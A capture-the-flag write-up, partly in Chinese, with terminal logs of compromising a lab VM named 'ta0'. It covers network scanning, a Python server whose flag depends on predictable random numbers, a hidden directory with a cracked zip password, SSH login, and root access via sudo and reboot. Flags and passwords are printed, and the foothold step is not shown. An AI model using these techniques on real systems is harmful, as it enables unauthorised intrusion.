❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.158 08:00:27:8b:26:c9 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.054 seconds (124.63 hosts/sec). 4 responded ❯ export ip=192.168.60.158 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where scanning meets swagging. 😎 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.158:22 Open 192.168.60.158:5000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-28 07:57 CST Initiating ARP Ping Scan at 07:57 Scanning 192.168.60.158 [1 port] Completed ARP Ping Scan at 07:57, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 07:57 Completed Parallel DNS resolution of 1 host. at 07:57, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 07:57 Scanning 192.168.60.158 [2 ports] Discovered open port 22/tcp on 192.168.60.158 Discovered open port 5000/tcp on 192.168.60.158 Completed SYN Stealth Scan at 07:57, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.158 Host is up, received arp-response (0.00037s latency). Scanned at 2025-04-28 07:57:50 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 5000/tcp open upnp syn-ack ttl 64 MAC Address: 08:00:27:8B:26:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
www-data@ta0:/opt$ cat server.py import random import socketserver
class MultiplicationGame(socketserver.BaseRequestHandler): def send(self, msg): self.request.sendall(msg.encode())
def recv_input(self, prompt='', timeout=2.0): import socket self.send(prompt) data = b"" self.request.settimeout(timeout) try: while True: part = self.request.recv(1) if not part: break data += part if part == b'\n': break except (socket.timeout, ConnectionResetError, BrokenPipeError): pass return data.decode(errors='ignore').strip()
def handle(self): self.send("=== Welcome to the Totally Legit Multiplication Challenge ===\n") menu = "[1] Multiply some numbers\n[2] Get the secret flag (if you're lucky)\n" self.send(menu)
while True: choice = self.recv_input(">> Choose your destiny: ")
if choice == '1': try: factor = int(self.recv_input("Give me a number to multiply: ")) rand_val = random.getrandbits(32) result = rand_val * factor self.send(f"Boom! {rand_val} * {factor} = {result}\n") except: self.send("That's not a number! I need digits, my friend.\n")
elif choice == '2': try: ans = int(self.recv_input("Alright, what’s the product? ")) r1 = random.getrandbits(11000) r2 = random.getrandbits(10000) expected = r1 * r2 if ans == expected: self.send("Congratulation,there is no real random\n") with open("pass", "r") as f: self.send(f"Here's your pass: {f.read()}\n") else: self.send(f"Nope! The actual answer was {expected}\n") except: self.send("No funny business, just give me a number.\n")
else: self.send("I don’t understand that choice. Try again.\n")
if __name__ == "__main__": HOST, PORT = "127.0.0.1", 4444 with socketserver.ThreadingTCPServer((HOST, PORT), MultiplicationGame) as server: print(f"🔧 Server running on port {PORT} - waiting for challengers!") server.serve_forever()
选项 1:用户输入一个数字,服务端生成 32 位随机数并返回乘积结果。
选项 2:用户猜测两个超大随机数的乘积,正确则返回 pass 文件内容(即 flag)。
nc连接一下
1 2 3 4 5
www-data@ta0:/opt$ nc 127.0.0.1 4444 === Welcome to the Totally Legit Multiplication Challenge === [1] Multiply some numbers [2] Get the secret flag (if you're lucky) >> Choose your destiny: I don’t understand that choice. Try again.
❯ python3 num.py [◢] Opening connection to 192.168.60.158 on port 1234: Trying 192.168.60.1[+] Opening connection to 192.168.60.158 on port 1234: Done 收集随机数: 100%|███████████████████████| 624/624 [00:31<00:00, 19.74it/s] 响应 1: Congratulation,there is no real random 响应 2: Here's your pass: e2e54827ac94e69c0c0ee320cb18c787 [*] Closed connection to 192.168.60.158 port 1234
并且在/opt下还存在隐藏文件夹...
将压缩包拷贝到/tmp目录下,解压得到five.txt
1 2 3 4 5 6 7 8 9 10 11 12 13
www-data@ta0:/opt$ cd ... www-data@ta0:/opt/...$ ls -al total 16 drwxr-xr-x 2 root root 4096 Feb 2 00:00 . drwxr-xr-x 3 root root 4096 Feb 2 00:00 .. -rw-r--r-- 1 da1sy da1sy 2613 Feb 2 00:00 da1sy.zip -rw-r--r-- 1 root root 20 Feb 2 00:00 hint.txt www-data@ta0:/opt/...$ cp da1sy.zip /tmp/ www-data@ta0:/opt/...$ cd /tmp/ www-data@ta0:/tmp$ unzip da1sy.zip Archive: da1sy.zip [da1sy.zip] da1sy.xsh password: inflating: five.txt
得到一串hash
在线解密拿到密码Hikari
Root 提权
尝试连接一下
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ ssh da1sy@$ip [email protected]'s password: Linux ta0 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Apr 23 01:06:49 2025 from 192.168.31.34 da1sy@ta0:~$ cat user.txt flag{user-8feb23165915ac86d329fb1dfa5fe9b8}
da1sy@ta0:~$ sudo -l Matching Defaults entries for da1sy on ta0: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User da1sy may run the following commands on ta0: (ALL : ALL) NOPASSWD: /usr/sbin/reboot (ALL : ALL) NOPASSWD: /usr/bin/ln -s /usr/bin/python3.* /usr/bin/python3
da1sy@ta0:~$ sudo /usr/sbin/reboot da1sy@ta0:~$ Connection to 192.168.60.158 closed by remote host. Connection to 192.168.60.158 closed. ❯ ssh da1sy@$ip [email protected]'s password: Linux ta0 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 27 22:34:02 2025 from 192.168.60.100 -bash-5.0$ id uid=0(root) gid=0(root) groups=0(root) -bash-5.0$ bash -p bash-5.0# cd /root bash-5.0# ls theroot.txt bash-5.0# cat theroot.txt flag{root-e2e54827ac94e69c0c0ee320cb18c787}